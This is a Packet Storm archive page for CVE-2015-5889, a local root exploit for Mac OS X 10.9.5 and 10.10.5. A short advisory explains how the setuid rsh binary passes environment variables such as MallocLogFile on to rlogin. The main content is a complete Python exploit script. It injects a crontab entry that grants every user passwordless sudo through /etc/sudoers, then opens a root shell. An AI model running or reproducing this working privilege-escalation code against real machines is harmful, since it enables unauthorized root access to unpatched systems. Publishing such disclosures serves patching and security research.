what you don't know can hurt you

issetugid() + rsh + libmalloc OS X Local Root

issetugid() + rsh + libmalloc OS X Local Root
Posted Oct 3, 2015
Authored by Philip Pettersson

The default root-suid binary /usr/bin/rsh on Mac OS X uses execv() in an insecure manner. /usr/bin/rsh will invoke /usr/bin/rlogin if launched with only a host argument, without dropping privileges or clearing the environment. This exploit will pass "MallocLogFile" to /usr/bin/rsh, which is then passed on to rlogin and interpreted by libmalloc to create a root-owned file with partially controlled contents at /etc/crontab which gives a rootshell via sudo. Tested on 10.9.5 / 10.10.5 but it most likely works on much older versions too.

tags | exploit, root
systems | apple, osx
advisories | CVE-2015-5889
MD5 | 81acf0e43a571e81418379cca28b84a9

issetugid() + rsh + libmalloc OS X Local Root

Change Mirror Download
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
sys.stderr.write("failed\n")
sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
sys.stderr.write(".")
time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")
Login or Register to add favorites

File Archive:

November 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    2 Files
  • 2
    Nov 2nd
    9 Files
  • 3
    Nov 3rd
    15 Files
  • 4
    Nov 4th
    90 Files
  • 5
    Nov 5th
    22 Files
  • 6
    Nov 6th
    16 Files
  • 7
    Nov 7th
    1 Files
  • 8
    Nov 8th
    1 Files
  • 9
    Nov 9th
    40 Files
  • 10
    Nov 10th
    27 Files
  • 11
    Nov 11th
    28 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    18 Files
  • 14
    Nov 14th
    2 Files
  • 15
    Nov 15th
    2 Files
  • 16
    Nov 16th
    29 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    15 Files
  • 19
    Nov 19th
    21 Files
  • 20
    Nov 20th
    16 Files
  • 21
    Nov 21st
    1 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    19 Files
  • 24
    Nov 24th
    32 Files
  • 25
    Nov 25th
    7 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close